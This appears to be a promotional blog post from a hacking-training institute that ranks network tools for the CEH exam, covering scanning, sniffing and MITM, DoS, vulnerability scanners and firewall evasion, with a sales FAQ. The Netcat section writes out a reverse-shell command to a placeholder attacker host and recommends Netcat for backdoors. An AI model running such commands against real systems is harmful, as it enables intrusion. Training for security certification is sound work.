What Are the Most Important Network Hacking Tools for CEH?

Introduction

Network hacking tools dominate CEH practical — scanning, sniffing, MITM, DoS, packet crafting, firewall evasion give you 8–12 flags. Students who master these tools finish network section in under 60 minutes. At Ethical Hacking Training Institute we provide 300+ real routers, switches, firewalls, Windows/Linux servers so you practice every tool on real enterprise networks from day 1.

Top 15 Network Hacking Tools for CEH (2025 Ranking)

Master top tools first.

Network Scanning & Enumeration Tools

• Nmap – king of scanning
• Masscan – fastest discovery
• Unicornscan – async scanning
• Angry IP Scanner – simple GUI
• ZMap – internet-wide scanning
• Our lab has 300+ live devices

Sniffing & MITM Tools

Wireshark for analysis, Bettercap for modern MITM (ARP/DNS spoofing, SSL stripping), tcpdump for CLI capture, Ettercap classic. Capture HTTP/FTP/Telnet credentials, handshake for cracking. Our lab generates real traffic daily for live sniffing practice.

Perform MITM with Bettercap.

Packet Crafting & DoS Tools

• Hping3 – custom packets, SYN flood
• Scapy – Python packet manipulation
• Slowloris – application DoS
• T50 – mixed protocol stress testing
• LOIC/HOIC – basic DoS

Vulnerability Scanning & Exploitation

Nessus Professional for authenticated scans, OpenVAS free alternative, Nikto for web servers. Find CVEs, missing patches, weak configs. Our cloud lab includes Nessus Pro + 200+ vulnerable services for daily scanning practice.

Netcat & Socat – Swiss Army Knives

• nc -lvnp 4444 → listener
• nc attacker_ip 4444 -e /bin/sh → reverse shell
• File transfer, port scanning
• Bind shell, relay attacks
• Our lab uses Netcat in 90% challenges

Use Netcat for backdoors.

Firewall & IDS Evasion Tools

• Nmap fragmentation, decoys
• Hping3 spoofed packets
• Fragroute, wafw00f
• Proxychains + torsocks
• Our lab has real firewalls to bypass

Conclusion

Network hacking is pure practice. Join Ethical Hacking Training Institute and get:

• 300+ real network devices
• All tools pre-installed
• Daily live challenges
• Weekend & weekday batches
• 100% placement support

Book free demo — start scanning real networks in 10 minutes!

Avoid common mistakes.

Frequently Asked Questions

Which network tool is most important?

Nmap — appears in every exam.

Is Wireshark hard?

No — we teach filters in 2 days.

Is Nessus compulsory?

Yes — vulnerability scanning section.

Do I need hardware?

No — our cloud lab has everything.

Is Bettercap better than Ettercap?

Yes — modern & actively maintained.

Is Hping3 tested?

Yes — packet crafting & DoS.

Is Netcat enough for backdoor?

Yes — simplest reverse shell.

Do you provide real routers?

Yes — Cisco, Mikrotik, TP-Link.

Weekend batch covers network tools?

Yes — full hands-on.

How many devices to practice?

300+ for full confidence.

Is Masscan in syllabus?

Yes — fast scanning questions.

Is tcpdump tested?

Yes — CLI packet capture.

Do you teach evasion?

Yes — fragmentation, decoys, spoofing.

Is lab 24×7?

Yes — unlimited access.

How to start today?

Book free demo — scan first network in 10 minutes!